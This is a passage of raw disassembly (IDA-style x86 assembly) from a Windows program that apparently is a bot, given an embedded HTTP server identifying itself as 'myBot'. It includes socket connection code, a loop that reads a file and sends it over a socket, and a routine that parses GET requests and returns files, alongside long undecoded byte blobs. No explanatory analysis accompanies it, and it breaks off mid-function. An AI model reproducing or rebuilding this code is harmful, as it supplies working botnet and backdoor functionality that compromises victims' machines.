					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D3554
		nop
		call	near ptr 2700000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4D3564
		call	dword_4D0874
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 2415FFFFh, 6A004D08h, 26A5606h, 0CA458966h, 8A415FFh
		dd 4589004Dh, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4D0850h
		dd 75FF056Ah, 4C15FF08h, 8B004D08h, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	8B815FFh, 64A3004Dh, 8D004D35h
		dd 5057F445h, 4D356068h, 355C6800h, 45C7004Dh, 0CF4h, 0FC45C700h
		dd 1, 0FFF87D89h, 0F4458DD3h, 58685057h, 68004D35h, 4D3554h
		dd 446AD3FFh, 5784458Dh, 0CFBEE850h, 5CA10000h,	83004D35h
		dd 45890CC4h, 3558A1BCh, 4589004Dh, 16A57C0h, 6AC4458Dh
		dd 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h, 1FA8E890h
		dd 0FF500230h, 4D355835h, 9BE89000h, 5002301Fh,	19E6E890h
		dd 458D0230h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 438E04h, 0F0E89057h, 8D022525h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	2719FEE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 19E5E890h, 0FF6A0227h, 0FFF04589h, 0E890D875h, 2281B33h
		dd 0F075FF57h, 21F0E890h, 0FF570228h, 0E7E8EC75h, 90022821h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22F239Ah
		dd 355C35FFh, 0D6FF004Dh, 356035FFh, 0D6FF004Dh, 355435FFh
		dd 0D6FF004Dh, 355835FFh, 0D6FF004Dh, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4D356C, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 2415FFFFh, 53004D08h, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4D08A4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2D186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 376CB889h
		dd 458D0044h, 0FF5750ECh, 4D085015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4D07B8h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Dh, 530000FFh, 9E63E8h, 6CA35900h
		dd 59004D35h, 0EE458966h, 6AEC458Dh, 0FF575010h, 4D085015h
		dd 75C63B00h, 0B815FF54h, 33004D07h, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22D1770h, 57056A90h, 84C15FFh, 0C63B004Dh
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4D08B8h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 3C15FF08h, 83004D08h, 9674FFF8h
		dd 35FF5656h, 4D0560h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 8E0C6850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 87415FFh, 0F883004Dh, 43840FFFh
		dd 0FFFFFFFFh, 4D357405h, 0FF38E900h, 0FF57FFFFh, 4D08BC15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2D166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	5238E802h
		dd 8B90716Ah, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 560A166h, 6583004Dh,	665000B8h, 2B445C7h, 2415FF00h
		dd 66004D08h, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0CC68156Ah, 50004390h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0C468FFFFh, 50004390h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 42EA70h, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4390AC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4390A468h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43908C68h
		dd 8D61EB00h, 0FFFF5085h, 908468FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 9074680Dh, 40EB0043h, 0FF50858Dh
		dd 6C68FFFFh, 50004390h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 5868106Ah, 0EB004390h, 50858D1Fh, 68FFFFFFh,	439054h
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	439034h
		dd 2F1E957h, 2CBF0000h,	8D004390h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43902868h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43901468h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 439010h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 438FFCh, 27BE9h, 50858D00h
		dd 68FFFFFFh, 438FF4h, 0D352E850h, 85590000h, 347559C0h
		dd 0C8BE0A6Ah, 5900438Fh, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C068FFFFh
		dd 5000438Fh, 0D307E8h,	0C0855900h, 6A2A7559h, 8FA8BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 438FA0h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 438F7868h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 438F7068h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 438F64h, 0CA2CE850h,	0C4830000h, 1D6A5618h, 438F4468h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 438F3C68h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 438F1068h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 438EF4h, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 8EDC6817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 8EBC68FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4D3330h, 562EEB59h, 9868206Ah, 0EB00438Eh
		dd 50858D1Fh, 68FFFFFFh, 43229Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 438E7Ch, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4D3578, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4D3578
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4D3578
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4D3578
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2680000h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4D3578
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4D0824
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4D08A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_44376C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4D0850
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4D084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4D08C0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4D080C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4D0710
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4D08B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4D083C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4D08BC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_43233C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43910C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D08C0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4D08BC

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4390E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4D08BC
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
